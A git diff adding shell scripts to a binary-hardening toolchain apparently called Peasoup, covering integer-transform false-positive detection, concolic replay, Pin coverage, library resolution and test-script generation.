+grep "%[0-9,.]*f" $tmpFile | sed "s/%[0-9,.]*f/#/" | cut -d'#' -f2 >> $tmpFile3
+cat $tmpFile3 >> $tmpFile2
+
+# do it one more time to split the previous rhs into 2 parts
+grep "%[0-9]*s" $tmpFile3 | sed "s/%[0-9]*s/#/" | cut -d'#' -f1 >> $tmpFile2
+grep "%[0-9]*s" $tmpFile3 | sed "s/%[0-9]*s/#/" | cut -d'#' -f2 >> $tmpFile4
+grep "%[0-9]*[l,ll]*d" $tmpFile3 | sed "s/%[0-9]*[l,ll]*d/#/" | cut -d'#' -f1 >> $tmpFile2
+grep "%[0-9]*[l,ll]*d" $tmpFile3 | sed "s/%[0-9]*[l,ll]*d/#/" | cut -d'#' -f2 >> $tmpFile4
+grep "%[0-9,.]*f" $tmpFile3 | sed "s/%[0-9,.]*f/#/" | cut -d'#' -f1 >> $tmpFile2
+grep "%[0-9,.]*f" $tmpFile3 | sed "s/%[0-9,.]*s/#/" | cut -d'#' -f2 >> $tmpFile4
+cat $tmpFile4 >> $tmpFile2
+
+# and yet one more time for good measure
+grep "%[0-9]*s" $tmpFile4 | sed "s/%[0-9]*s/#/" | cut -d'#' -f1 >> $tmpFile2
+grep "%[0-9]*s" $tmpFile4 | sed "s/%[0-9]*s/#/" | cut -d'#' -f2 >> $tmpFile5
+grep "%[0-9]*[l,ll]*d" $tmpFile4 | sed "s/%[0-9]*[l,ll]*d/#/" | cut -d'#' -f1 >> $tmpFile2
+grep "%[0-9]*[l,ll]*d" $tmpFile4 | sed "s/%[0-9]*[l,ll]*d/#/" | cut -d'#' -f2 >> $tmpFile5
+grep "%[0-9,.]*f" $tmpFile4 | sed "s/%[0-9,.]*f/#/" | cut -d'#' -f1 >> $tmpFile2
+grep "%[0-9,.]*f" $tmpFile4 | sed "s/%[0-9,.]*s/#/" | cut -d'#' -f2 >> $tmpFile5
+cat $tmpFile5 >> $tmpFile2
+
+##
+## @todo: if as a result of breaking up format strings, we get for example
+##        a SQL keyword, e.g., table, drop, we shouldn't add it to the list of
+##        string patterns
+##
+## another policy in general could be to not have patterns specifiers that are
+## too small in length
+##
+
+# get rid of leading/trailing whitespace and duplicate entries
+cat $tmpFile $tmpFile2 | sed 's/^[ \t]*//;s/[ \t]*$//' | sort | uniq > $tmpFile6
+
+#
+# Sort fragments not in symbols file by reverse length
+#
+comm -2 -3 $tmpFile6 $tmpSymbols | awk '{print length, $0}' | sort -nr | cut -d ' ' -f 2- > $finalSigFile
+
+for i in `echo $PATH|sed "s/:/ /g"`; do
+	echo $i >> $finalSigFile	
+done
+
+# et voila, output file $finalSigFile contains the final reverse sorted set of patterns
+
+# now cleanup
+rm $tmpFile $tmpFile1 $tmpFile2 $tmpFile3 $tmpFile4 $tmpFile5 $tmpFile6 $tmpSymbols
+
+exit 0
diff --git a/peasoup_examples/tools/get_pins.sh b/peasoup_examples/tools/get_pins.sh
new file mode 100755
index 0000000000000000000000000000000000000000..5175470bda68550e6278b38e8b6a24e36e940b17
--- /dev/null
+++ b/peasoup_examples/tools/get_pins.sh
@@ -0,0 +1,5 @@
+#!/bin/bash
+
+cat a.irdb.fbspri|grep -e '->'|grep -v -e '-> 0x0'|egrep -v -e "^ff"|sed "s/->.*//" > pinned_addresses
+
+
diff --git a/peasoup_examples/tools/getlibs.sh b/peasoup_examples/tools/getlibs.sh
new file mode 100755
index 0000000000000000000000000000000000000000..68a0952112cf3e9285a5ea481db0f226b5dfdc4b
--- /dev/null
+++ b/peasoup_examples/tools/getlibs.sh
@@ -0,0 +1,61 @@
+#!/bin/bash
+
+orig_file=$1
+
+remove_dups()
+{
+	rm -f /tmp/dups.$$
+	for j in $*; do
+		echo $j >> /tmp/dups.$$
+	done
+	cat /tmp/dups.$$|sort |uniq
+	rm -f /tmp/dups.$$
+}
+
+resolve(){
+
+	#file=`ldconfig -p |grep "$1 ("|head  -1|sed "s/.*=>//"`
+	file=`ldd $orig_file |grep "$1 ("|sed -e "s/.*=> *//" -e "s/(.*)//"`
+#echo file=\'$file\' 1>&2
+	if [ ! -z "$file" ]; then
+#echo not zero 1>&2
+		if [ -e $file ] ; then
+#echo found 1>&2
+			echo -n
+			realpath $file
+			return
+		fi
+	fi
+#echo not found 1>&2
+	echo $1
+}
+
+
+found=1
+
+alreadyFound=$1
+
+while [ $found = 1 ] ; do
+
+	found=0
+
+	list="$alreadyFound"
+
+	for i in $alreadyFound; do
+		file=`resolve $i`
+		newlist=`readelf -d  $file |grep NEEDED|sed -e "s/.*\[//" -e "s/\]//"`
+		list=`remove_dups $list $newlist`
+	done
+
+	if [ "$alreadyFound" != "$list" ]; then
+		alreadyFound="$list"
+		found=1
+	fi
+done
+
+for i in $alreadyFound ; do
+	if [ ! $1 = $i ]; then 
+		echo `resolve $i` 
+	fi
+done
+
diff --git a/peasoup_examples/tools/getsyms.sh b/peasoup_examples/tools/getsyms.sh
new file mode 100755
index 0000000000000000000000000000000000000000..87c314801bce1b4ed887b02c261fed696d8c08a9
--- /dev/null
+++ b/peasoup_examples/tools/getsyms.sh
@@ -0,0 +1,3 @@
+#!/bin/sh
+readelf -s $1 |grep -e FUNC -e OBJECT|cut -d: -f2|$PEASOUP_HOME/chopzero_src/chopzero|sort --key=1,9 --key=13,21|cut -c 2-31,44-200|uniq -w 14 > $1.syms
+
diff --git a/peasoup_examples/tools/grace_utils.sh b/peasoup_examples/tools/grace_utils.sh
new file mode 100755
index 0000000000000000000000000000000000000000..e71f917c89195b042b6c8279e88fa4e77a267659
--- /dev/null
+++ b/peasoup_examples/tools/grace_utils.sh
@@ -0,0 +1,28 @@
+#!/bin/bash
+
+#
+# Utilities to assess state of Grace-produced inputs & outputs
+#
+
+#
+# Did Grace attempt to symbolically execute anything?
+#
+# Returns number of inputs symbolically executed
+#
+get_grace_number_inputs_executed()
+{
+	CONCOLIC_DIR=$1
+
+	if [ -z $CONCOLIC_DIR ]; then
+		echo "check_grace_baseline(): no concolic input/output directory specified"
+		return 0
+	fi
+
+	if [ ! -d $CONCOLIC_DIR ]; then
+		echo "check_grace_baseline(): specified concolic input/output directory does not exist"
+		return 0
+	fi
+
+	baseline_flag=`ls $CONCOLIC_DIR/sandboxed-files | grep run_ | wc -l`
+	return $baseline_flag
+}
diff --git a/peasoup_examples/tools/integer_replay.sh b/peasoup_examples/tools/integer_replay.sh
new file mode 100755
index 0000000000000000000000000000000000000000..405200f8a5530a7530c206fe63ab5e2b5f903552
--- /dev/null
+++ b/peasoup_examples/tools/integer_replay.sh
@@ -0,0 +1,105 @@
+#!/bin/sh
+
+#
+# Assumption: we're in the top level directory created by the peasoup toolchain
+#
+# Validate SPRI transform against a suite of input/output pairs
+#
+# TODO: I assume that pwd is the peasoup directory containing the stratafied
+# and original. Perhaps this should be passed in in the future. Also
+# this script will exit in some cases without cd'ing back to the original
+# directory it started in.
+#
+
+# Inputs
+STRATAFIED_BINARY=$1        # stratafied subject program (a.stratafied)
+INPUT_DIR=$2                # directory containing inputs (.../concolic.files_a.stratafied_0001)
+BSPRI=$3
+INTEGER_WARN_INSTRUCTIONS=$4
+
+BASELINE_OUTPUT_DIR=$INPUT_DIR/sandboxed-files
+
+REPLAYER_TIMEOUT=120        # timeout value for when replaying input -- for now 120 seconds per input
+
+ORIG_PROG=a.ncexe
+baseline_cnt=0
+TOP_LEVEL=`pwd`
+
+
+REPLAY_DIR=replay_integer
+rm -fr $REPLAY_DIR 2>/dev/null
+mkdir $REPLAY_DIR 2>/dev/null
+
+echo "=========================================="
+echo "Running integer_replay.sh"
+echo "                              DIR: $TOP_LEVEL"
+echo "                STRATAFIED_BINARY: $STRATAFIED_BINARY"
+echo "                            BSPRI: $BSPRI"
+echo "         NTEGER_WARN_INSTRUCTIONS: $INTEGER_WARN_INSTRUCTIONS"
+echo "             INPUT_DIR: $INPUT_DIR"
+echo "   BASELINE_OUTPUT_DIR: $BASELINE_OUTPUT_DIR"
+echo "=========================================="
+
+touch $INTEGER_WARN_INSTRUCTIONS
+
+#
+# name of files describing inputs is of the form: input_0001.json, input_0002.json, ...
+#
+
+for i in `ls $INPUT_DIR/input*.json`
+do
+ #Ben Modification: run replayer from top level to keep the sandbox layout the same as produced by the concolic test engine. This makes output comparison easier
+  echo "Testing input spec: $i"
+  input=`basename $i .json`
+  input_number=`echo $input | sed "s/input_//"`
+  abridged_number=`echo $input_number | sed 's/0*\(.*\)/\1/'`
+
+  #at this point we know we have baseline data to compare against
+  #we assume that if exit status was produced, baseline information is available
+  baseline_cnt=`expr $baseline_cnt + 1`
+
+  mkdir $REPLAY_DIR/$input_number 2>/dev/null
+# make sure the output files exist
+  touch $REPLAY_DIR/$input_number/stdout.$input
+  touch $REPLAY_DIR/$input_number/stderr.$input
+
+  #cleanup any previous runs
+  rm -rf grace_replay
+  rm -f stdout.* stderr.* exit_status
+
+  integer_diagnostics="integer.diagnostics.$input_number"
+
+#STRATA_NUM_HANDLE=1 STRATA_DOUBLE_FREE=1 STRATA_HEAPRAND=1 STRATA_CONTROLLED_EXIT=1 STRATA_PC_CONFINE=1 STRATA_DETECTOR_POLICY="continue" STRATA_LOG="detectors" STRATA_OUTPUT_FILE=$integer_diagnostics STRATA_SPRI_FILE="$BSPRI" timeout $REPLAYER_TIMEOUT "$GRACE_HOME/concolic/bin/replayer" --timeout=$REPLAYER_TIMEOUT --symbols=$TOP_LEVEL/a.sym --stdout=stdout.$input --stderr=stderr.$input --logfile=exit_status --engine=sdt $STRATAFIED_BINARY $i 
+STRATA_PC_CONFINE=1 STRATA_DETECTOR_POLICY="continue" STRATA_LOG="detectors" STRATA_OUTPUT_FILE=$integer_diagnostics STRATA_SPRI_FILE="$BSPRI" timeout $REPLAYER_TIMEOUT "$GRACE_HOME/concolic/bin/replayer" --timeout=$REPLAYER_TIMEOUT --symbols=$TOP_LEVEL/a.sym --stdout=stdout.$input --stderr=stderr.$input --logfile=exit_status --engine=sdt $STRATAFIED_BINARY $i 
+
+  # classify input: if segfault or failed PC confinement, then don't treat C1/Integer Detector for a given instruction as a false positive
+
+  #if exited with 139, ignore input
+  grep -i "status 139" exit_status
+  if [ $? -eq 0 ]; then
+     continue
+  fi
+  #if exited with 134, ignore input
+  grep -i "status 134" exit_status
+  if [ $? -eq 0 ]; then
+     continue
+  fi
+  #if exited with 200 (Peasoup exit status code on error), ignore input
+  grep -i "status 200" exit_status
+  if [ $? -eq 0 ]; then
+     continue
+  fi
+  # if PC failed confinement, ignore input
+  grep -i "PC failed confinement" $integer_diagnostics
+  if [ $? -eq 0 ]; then
+     continue
+  fi
+
+  cat $integer_diagnostics | grep -i diagnos | grep class | grep C1 | sed 's/.*diagnosis.*PC:\(.*\)/\1/' | cut -d' ' -f1 >> $INTEGER_WARN_INSTRUCTIONS
+
+  mv stderr.$input $REPLAY_DIR/$input_number/stderr.$input
+  mv stdout.$input $REPLAY_DIR/$input_number/stdout.$input
+  mv exit_status $REPLAY_DIR/$input_number/exit_status
+  mv $integer_diagnostics $REPLAY_DIR/$input_number/
+
+done
diff --git a/peasoup_examples/tools/intxform_detect_benign_fp.sh b/peasoup_examples/tools/intxform_detect_benign_fp.sh
new file mode 100755
index 0000000000000000000000000000000000000000..b45fd7b213785cf5af7e5cd9eba59f0f80b6c747
--- /dev/null
+++ b/peasoup_examples/tools/intxform_detect_benign_fp.sh
@@ -0,0 +1,64 @@
+#!/bin/bash
+#
+# intxform_detect_benign_fp.sh <cloneId> <identifiedProgram> <outputFile>
+#
+# <cloneId>             variant id in the Peasoup database
+# <identifiedProgram>   name of program identified via fingerprinting
+#
+# <outputFile>          contains list of addresses that triggered a benign error detection
+#
+# pre: we are in the top-level directory created by ps_analyze.sh
+#
+
+# input
+CLONE_ID=$1
+IDENTIFIED_PROG=$2
+
+# output
+INTEGER_WARNINGS_FILE=$3
+
+# configuration variables
+TOP_DIR=`pwd`
+LIBC_FILTER=$PEASOUP_HOME/tools/libc_functions.txt   # libc and other system library functions
+ORIG_BINARY=a.ncexe
+INTEGER_ASPRI=a.irdb.integer.aspri
+INTEGER_BSPRI=a.irdb.integer.bspri
+REGRESSION_TESTS=$PEASOUP_HOME/tests/$IDENTIFIED_PROG/test_script.sh
+
+touch $INTEGER_WARNINGS_FILE
+
+echo "intxform(detect-benign-fp): transforming binary: cloneid=$CLONE_ID identifiedProg=$IDENTIFIED_PROG"
+
+if [ -f $REGRESSION_TESTS ]; then
+	echo "intxform(detect-benign-fp): manual regression tests detected for $IDENTIFIED_PROG"
+else
+	echo "intxform(detect-benign-fp): no manual regression tests detected for $IDENTIFIED_PROG in $REGRESSION_TESTS"
+	exit 1
+fi
+
+echo "intxform(detect-benign-fp): Clone program"
+$SECURITY_TRANSFORMS_HOME/bin/clone.exe $CLONE_ID clone.id
+tempcloneid=`cat clone.id`
+
+echo "intxform(detect-benign-fp): Integer transform on cloned copy"
+$SECURITY_TRANSFORMS_HOME/bin/integertransformdriver.exe $tempcloneid $LIBC_FILTER $INTEGER_WARNINGS_FILE --warning
+
+# generate aspri, and assemble it to bspri
+echo "intxform(detect-benign-fp): Generate temporary aspri --> bspri for integer transform"
+$SECURITY_TRANSFORMS_HOME/bin/generate_spri.exe $($PEASOUP_HOME/tools/is_so.sh a.ncexe) $tempcloneid $INTEGER_ASPRI
+$SECURITY_TRANSFORMS_HOME/bin/spasm $INTEGER_ASPRI $INTEGER_BSPRI a.ncexe stratafier.o.exe libstrata.so.symbols
+
+# generate script to run instrumented binary
+DETECTOR_BINARY=benignfp.detector
+$PEASOUP_HOME/tools/intxform_make_detector_binary.sh $DETECTOR_BINARY
+
+# run regression tests
+# cumulate all diagnostics output 
+CUMULATED_DIAGNOSTICS=$TOP_DIR/diagnostics.cumul.out
+echo "intxform(detect-benign-fp): replay and cumulate diagnostics in $CUMULATED_DIAGNOSTICS"
+rm -f $CUMULATED_DIAGNOSTICS
+touch $CUMULATED_DIAGNOSTICS
+$PEASOUP_HOME/tools/intxform_replay.sh $REGRESSION_TESTS $TOP_DIR/$DETECTOR_BINARY $TOP_DIR/$ORIG_BINARY $TOP_DIR/$INTEGER_BSPRI $CUMULATED_DIAGNOSTICS $INTEGER_WARNINGS_FILE
+
+# extract benign errors detected from cumulated diagnostic files
+$PEASOUP_HOME/tools/intxform_extract_benign_errors.sh $CUMULATED_DIAGNOSTICS $INTEGER_WARNINGS_FILE
diff --git a/peasoup_examples/tools/intxform_extract_benign_errors.sh b/peasoup_examples/tools/intxform_extract_benign_errors.sh
new file mode 100755
index 0000000000000000000000000000000000000000..db42b85bafef6fd638db00c67165e108d1b8f9a5
--- /dev/null
+++ b/peasoup_examples/tools/intxform_extract_benign_errors.sh
@@ -0,0 +1,9 @@
+CUMUL_DIAGNOSTICS=$1
+BENIGN_ADDRESS_OUTPUT_FILE=$2
+
+# extract addresses from diagnostic file
+# look for C1 class of benign errors only (C1: number handling)
+cat $CUMUL_DIAGNOSTICS | grep -i diagnos | grep C1 | sed 's/.*diagnosis.*PC:\(.*\)/\1/' | cut -d' ' -f1 | sort | uniq > $BENIGN_ADDRESS_OUTPUT_FILE
+
+NUM_FP_DETECTED=`wc -l $BENIGN_ADDRESS_OUTPUT_FILE`
+echo "------------ intxform: end detection of benign false positives: $NUM_FP_DETECTED benign false positives detected -----------------"
diff --git a/peasoup_examples/tools/intxform_make_detector_binary.sh b/peasoup_examples/tools/intxform_make_detector_binary.sh
new file mode 100755
index 0000000000000000000000000000000000000000..5c932fdcb35db9e4dffe871cc8b1a763a157f897
--- /dev/null
+++ b/peasoup_examples/tools/intxform_make_detector_binary.sh
@@ -0,0 +1,37 @@
+#!/bin/sh 
+
+name=$1
+
+current_dir=`pwd`
+#intxform_fp_detect_binary=$name.sh
+intxform_fp_detect_binary=$name
+
+echo "#!/bin/sh" >> $intxform_fp_detect_binary
+echo "" >> $intxform_fp_detect_binary
+echo "setsid $current_dir/intxform_run.sh $current_dir \"\$0\" \"\$@\"" >> $intxform_fp_detect_binary
+echo "SAVE_EXIT_CODE=\$?" >> $intxform_fp_detect_binary
+echo "datapath=$current_dir" >> $intxform_fp_detect_binary
+
+cat >> $intxform_fp_detect_binary <<"EOF"
+
+if [ -f $datapath/diagnostics.out ]; then
+	len=`cat $datapath/diagnostics.out | wc -l` 
+	if [ $len -gt 0 ]; then 
+
+        # make output more concise
+	    sort $datapath/diagnostics.out | uniq >> $datapath/diagnostics.cumul.out
+	fi
+fi
+
+# final check, in case we couldn't catch the signal
+if [ $SAVE_EXIT_CODE = 139 ]; then
+	exit 200
+fi
+exit $SAVE_EXIT_CODE
+EOF
+
+chmod +x $intxform_fp_detect_binary
+
+cp $PEASOUP_HOME/tools/intxform_run.sh $current_dir
+
+
diff --git a/peasoup_examples/tools/intxform_replay.sh b/peasoup_examples/tools/intxform_replay.sh
new file mode 100755
index 0000000000000000000000000000000000000000..45bffd1eb5c17367e5a1fc8adac00f4b50934de4
--- /dev/null
+++ b/peasoup_examples/tools/intxform_replay.sh
@@ -0,0 +1,48 @@
+#!/bin/sh
+
+#
+# Assumption: we're in the top level directory created by the peasoup toolchain
+#
+# Replay integer transform using manual regression tests
+#
+# Warning: no sandboxing is performed, make sure regression tests are non-destructive
+#
+
+# Inputs
+REGRESSION_TEST_SCRIPT=$1            # path of regression test script
+STRATAFIED_BINARY=$2                 # stratafied subject program (a.stratafied)
+ORIG_BINARY=$3                       # original binary (a.ncexe)
+BSPRI=$4                             # bspri file with integer instrumention (warnings)
+CUMUL_DIAGNOSTICS=$5                 # path of file containing cumulated diagnostics
+
+# Output
+INTEGER_WARN_INSTRUCTIONS=$6         # output file with addresses of benign errors
+
+TOP_LEVEL=`pwd`
+REGRESSION_TEST_SCRIPT_TIMEOUT=600   # timeout value for regression tests (seconds)
+
+echo "=========================================="
+echo "Running intxform_replay.sh"
+echo "      REGRESSION_TEST_SCRIPT: $REGRESSION_TEST_SCRIPT"
+echo "           STRATAFIED_BINARY: $STRATAFIED_BINARY"
+echo "                       BSPRI: $BSPRI"
+echo "           CUMUL_DIAGNOSTICS: $CUMUL_DIAGNOSTICS"
+echo "   INTEGER_WARN_INSTRUCTIONS: $INTEGER_WARN_INSTRUCTIONS (output file)"
+echo "                         DIR: $TOP_LEVEL"
+echo "=========================================="
+
+touch $CUMUL_DIAGNOSTICS
+touch $INTEGER_WARN_INSTRUCTIONS
+
+#
+# Algorithm:
+# (1) run regression tests against integer transformed binary in diagnostics mode
+# (2) extract address from diagnostics  
+# (3) produce list of address where the instruction results in a benign false positive
+#
+# Warning: 
+# We assume that the regression tests consists of trusted inputs
+#
+
+# (1) run regression tests against integer transformed binary in diagnostics mode
+timeout $REGRESSION_TEST_SCRIPT_TIMEOUT $REGRESSION_TEST_SCRIPT -i $STRATAFIED_BINARY $ORIG_BINARY  
diff --git a/peasoup_examples/tools/intxform_run.sh b/peasoup_examples/tools/intxform_run.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ffcb62cd6f7d43713f25c6f76b111870b464d14e
--- /dev/null
+++ b/peasoup_examples/tools/intxform_run.sh
@@ -0,0 +1,54 @@
+#!/bin/bash
+######################################################################
+######################################################################
+# This file is used as a template, not actually for running the code #
+######################################################################
+######################################################################
+
+#
+# determine the directory that contains the files for peasoup
+#
+datapath=$1
+
+#
+# save original $0
+#
+
+origbinpath=$2
+
+#
+# grab the rest of the args in $*
+#
+shift 2;
+
+#
+# Run the program with the proper env. vars set., and the arguments to the program specified
+#
+
+command="
+LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$datapath
+STRATA_WATCHDOG=0
+STRATA_NUM_HANDLE=0
+STRATA_DOUBLE_FREE=0
+STRATA_HEAPRAND=0
+STRATA_CONTROLLED_EXIT=0
+STRATA_PC_CONFINE=0
+STRATA_PC_CONFINE_XOR=0				
+STRATA_REKEY_AFTER=5000
+STRATA_PC_CONFINE_XOR_KEY_LENGTH=1024		
+STRATA_ANNOT_FILE=$datapath/a.ncexe.annot 
+STRATA_IS_SO=0
+STRATA_SIEVE=1					
+STRATA_RC=1					
+STRATA_PARTIAL_INLINING=0			
+STRATA_EXE_FILE=$datapath/a.stratafied
+STRATA_MAX_WARNINGS=50000
+	exec -a $origbinpath $datapath/a.stratafied \"\$@\""
+
+command="STRATA_LOG=detectors STRATA_OUTPUT_FILE=$datapath/diagnostics.out $command"
+
+# make sure we pick up the BSPRI file genreated by intxform when it's trying to detect
+# benign false positives
+command="STRATA_SPRI_FILE=$datapath/a.irdb.integer.bspri $command"
+
+eval $command
diff --git a/peasoup_examples/tools/is_so.sh b/peasoup_examples/tools/is_so.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a1cc796c4e4e8a765af01c4fb07a54e2946be2c0
--- /dev/null
+++ b/peasoup_examples/tools/is_so.sh
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+file $1 | grep "LSB shared object" > /dev/null
+
+if [ $? = 0 ]; then
+	echo 1
+else
+	echo 0
+fi
diff --git a/peasoup_examples/tools/libc_functions.txt b/peasoup_examples/tools/libc_functions.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d5b765e52d2b36412e9149f5de5ea761528330b0
--- /dev/null
+++ b/peasoup_examples/tools/libc_functions.txt
@@ -0,0 +1,4 @@
+cfar_video_service_close
+send_response
+__gnat_end_handler
+_ZN8AP_Param10next_groupEtPKNS_9GroupInfoEPbjhlPNS_10ParamTokenEP11ap_var_type
diff --git a/peasoup_examples/tools/make_prog_signature.sh b/peasoup_examples/tools/make_prog_signature.sh
new file mode 100755
index 0000000000000000000000000000000000000000..06fab38a5e4dee0ca17363acf9e9d52ff23fe529
--- /dev/null
+++ b/peasoup_examples/tools/make_prog_signature.sh
@@ -0,0 +1,8 @@
+#!/bin/sh 
+
+prog=$1
+out=$2
+
+#strings -n 8 $prog | sort  | uniq -i | awk '{ printf "%d:%s\n", length($0), $0;}'  | sort -r -n | sed 's/^[0-9]*://'  > $2
+strings -n 8 $prog | sort  | uniq -i > $2
+
diff --git a/peasoup_examples/tools/manual_cover.sh b/peasoup_examples/tools/manual_cover.sh
new file mode 100755
index 0000000000000000000000000000000000000000..8d92d3007d8b9956fc464d05b0bf7280c5f16d34
--- /dev/null
+++ b/peasoup_examples/tools/manual_cover.sh
@@ -0,0 +1,26 @@
+#!/bin/sh
+
+# Coverage tool for manual tests
+#
+# Usage:
+#   manual_cover.sh <coverageOutputFile> -- cmd arg1 .. argn
+#
+# Example:
+#   manual_cover.sh test1.executed_addresses.txt -- ls -lt .
+
+# If you don't have a coverage tool: uncomment below
+# exit 1
+
+# Otherwise, compute coverage below
+OUTPUT_FILE=$1
+shift
+shift
+
+FULL_COMMAND=$*
+
+# We use pin for extracting coverage info
+setarch i386 -RL $PEASOUP_HOME/tools/pin/pin -t $PEASOUP_HOME/tools/pin/itraceunique.so -- $FULL_COMMAND
+
+mv itrace.out $OUTPUT_FILE
+
+#cat itrace.out | grep -v eof > $OUTPUT_FILE
diff --git a/peasoup_examples/tools/manual_coverage_wrapper.sh b/peasoup_examples/tools/manual_coverage_wrapper.sh
new file mode 100755
index 0000000000000000000000000000000000000000..392197b51ac7670d050eb0c57c85c4d6acff63ef
--- /dev/null
+++ b/peasoup_examples/tools/manual_coverage_wrapper.sh
@@ -0,0 +1,63 @@
+#!/bin/bash
+
+# Uses pin to instrument a program for coverage
+# then calls a given test script to acquire coverage
+# It is assumed that pin is set up to dump results in itrace.out in a dir
+# specified in PIN_RESULTS env var. The results are assumed to accumulate. 
+# Pin is assumed to be in a directory PIN_HOME (alse a env var). 
+BENCH=$1
+TEST_SCRIPT=$2
+MANUAL_EXE_ADDRESS_OUTPUT_FILE=$3
+#A coverage round that takes longer than 10 minutes is assumed to be an infinite loop.
+TIMEOUT_VALUE=600
+
+PIN_BENCH=`pwd`/pin_bench
+COVERAGE_RESULTS_DIR=`pwd`/manual_coverage_results/
+ACCUMULATED_COVERAGE_FILE=$COVERAGE_RESULTS_DIR/manual_coverage_results.out
+COVER_SCRIPT=$SECURITY_TRANSFORMS_HOME/bin/cover
+
+echo "manual coverage script"
+
+#make the coverage results directory, it should exist before hand
+#if it does, this could skew the results of this run, so first delete
+#the directory, as precaution, then make the dir. 
+rm -rf $COVERAGE_RESULTS_DIR
+mkdir $COVERAGE_RESULTS_DIR
+
+#Assuming exe addresses are accumulated by pin in itrace.out located in
+#PIN_RESULTS
+echo "INSTALL PIN BINARY"
+echo "COVERAGE_RESULTS_DIR=$COVERAGE_RESULTS_DIR setarch i386 -RL $PIN_HOME/pin -injection child -t $PIN_HOME/source/tools/ManualExamples/obj-ia32/itraceunique.so -- $BENCH \$@" > $PIN_BENCH
+
+chmod +x $PIN_BENCH
+
+#A test script must take as input a modified bin and the original
+#also, the script must accept the -i flag, indicating ignore results
+eval $TEST_SCRIPT -i $PIN_BENCH $BENCH
+
+#because I now have an ignore flag, this likely won't occur, but just in case.
+if [ $? -ne 0 ]; then
+
+	echo "ERROR: manual coverage failed. The running  manual tests reported failure with coverage instrumentation. Ignoring coverage results."
+
+	exit 1
+fi
+
+itrace_files=$COVERAGE_RESULTS_DIR/itrace.*
+
+touch $ACCUMULATED_COVERAGE_FILE
+
+for file in $itrace_files
+do
+	cat $file >>$ACCUMULATED_COVERAGE_FILE
+done
+
+# sanity filter, keep only well formed addresses
+cat $ACCUMULATED_COVERAGE_FILE | sed 's/\(.*0x.*\)/\1/' >tmp
+mv tmp $ACCUMULATED_COVERAGE_FILE
+
+cp $ACCUMULATED_COVERAGE_FILE $MANUAL_EXE_ADDRESS_OUTPUT_FILE
+
+exit 0
+
+
diff --git a/peasoup_examples/tools/manual_test_import.sh b/peasoup_examples/tools/manual_test_import.sh
new file mode 100755
index 0000000000000000000000000000000000000000..49443f1bbbe2819398b909bc32065658114e20f5
--- /dev/null
+++ b/peasoup_examples/tools/manual_test_import.sh
@@ -0,0 +1,202 @@
+#!/bin/sh
+
+#
+# Generate test script based on command and input/output description
+#
+# Assume we are in the top-level sub-directory created by ps_analyze.sh
+#
+# Usage: manual_test_import.sh [--name testname] [--infile in]* [--outfile out]*
+# --name testname         'name of the input/output specification
+# --infile in             'input file descriptions
+# --outfile  out          'output file descriptions
+# --prog cat              'the name of the program in the command
+# --cmd "cat in > out"    'the command to invoke for the test
+#
+
+# extract from arguments
+
+INFILES=""
+OUTFILES=""
+TEST_NAME=""
+EXIT_CODE=""
+CLEANUP=""
+while [ $# -gt 0 ]
+do
+  case "$1" in
+	"--cmd")	CMD=$2; shift;;
+	"--prog")	PROG=$2; shift;;
+	"--infile")	INFILES="$2 $INFILES"; shift;;
+	"--outfile")	OUTFILES="$2 $OUTFILES"; shift;;
+	"--name")	TEST_NAME=$2; shift;;
+	"--exitcode")	EXIT_CODE=$2; shift;;
+        "--cleanup")    CLEANUP="$2 CLEANUP"; shift;;
+ 	*) break;;
+  esac
+  shift
+done
+
+TEST_TIMEOUT=60
+
+echo "TEST_NAME = $TEST_NAME"
+echo "INFILES = $INFILES"
+echo "OUTFILES = $OUTFILES"
+echo "EXIT_CODE = $EXIT_CODE"
+echo "PROG = $PROG"
+echo "CMD = $CMD"
+
+#
+# layout for manual_test_import
+#
+# ../test
+# ../test/test.1/spec
+# ../test/test.1/spec/input
+# ../test/test.1/spec/output
+# ../test/test.1/transformed
+# ../test/test.1/transformed/input
+# ../test/test.1/transformed/output
+
+# setup test directory
+
+PWD=`pwd`
+if [ -z $TEST_NAME ]; then
+  TEST_DIR=${PWD}/manual_tests/test.$$
+  TEST_NAME=test.$$
+else
+  TEST_DIR=${PWD}/manual_tests/$TEST_NAME
+fi
+TEST_SPEC_DIR=${TEST_DIR}/spec
+SPEC_INPUT_DIR=$TEST_SPEC_DIR/input
+SPEC_OUTPUT_DIR=$TEST_SPEC_DIR/output
+SPEC_EXIT_CODE_DIR=$TEST_SPEC_DIR/exitcode
+EXIT_CODE_FILE=$SPEC_EXIT_CODE_DIR/exitcode.txt
+
+TEST_ORIG_COVERAGE=$TEST_SPEC_DIR/coverage
+TEST_ORIG_CMD_SCRIPT=$TEST_SPEC_DIR/generate_cover_orig_cmd.sh
+TEST_DIR_XFORMED=$TEST_DIR/transformed
+TEST_XFORMED_CMD_SCRIPT=$TEST_DIR_XFORMED/test_new_cmd.sh
+TEST_XFORMED_OUTPUT_DIR=$TEST_DIR_XFORMED/output
+TEST_XFORMED_EXIT_CODE_DIR=$TEST_DIR_XFORMED/exitcode
+TEST_XFORMED_EXIT_CODE_FILE=$TEST_XFORMED_EXIT_CODE_DIR/exitcode.txt
+
+mkdir -p $TEST_ORIG_COVERAGE
+mkdir -p $SPEC_INPUT_DIR
+mkdir -p $SPEC_OUTPUT_DIR
+mkdir -p $SPEC_EXIT_CODE_DIR
+mkdir -p $TEST_XFORMED_OUTPUT_DIR
+mkdir -p $TEST_XFORMED_EXIT_CODE_DIR
+
+# copy input files
+for i in $INFILES
+do
+  cp $i $SPEC_INPUT_DIR
+done
+
+# copy output files
+for i in $OUTFILES
+do
+  cp $i $SPEC_OUTPUT_DIR
+done
+
+if [ ! -z $EXIT_CODE ]; then
+	echo $EXIT_CODE > $EXIT_CODE_FILE
+fi
+
+#---------------------------------------
+# Original cmd/program
+#---------------------------------------
+#
+# create script to run original command with coverage info
+#
+
+touch $TEST_ORIG_CMD_SCRIPT
+
+echo "#!/bin/sh" >> $TEST_ORIG_CMD_SCRIPT
+
+# cleanup input/output files
+for i in $INFILES
+do
+  echo " rm $i 2>/dev/null" >> $TEST_ORIG_CMD_SCRIPT
+done
+
+for i in $OUTFILES
+do
+  echo " rm $i 2>/dev/null" >> $TEST_ORIG_CMD_SCRIPT
+done
+
+# stage in input (if any)
+for i in $INFILES
+do
+  echo " cp $SPEC_INPUT_DIR/$i ." >> $TEST_ORIG_CMD_SCRIPT
+done
+
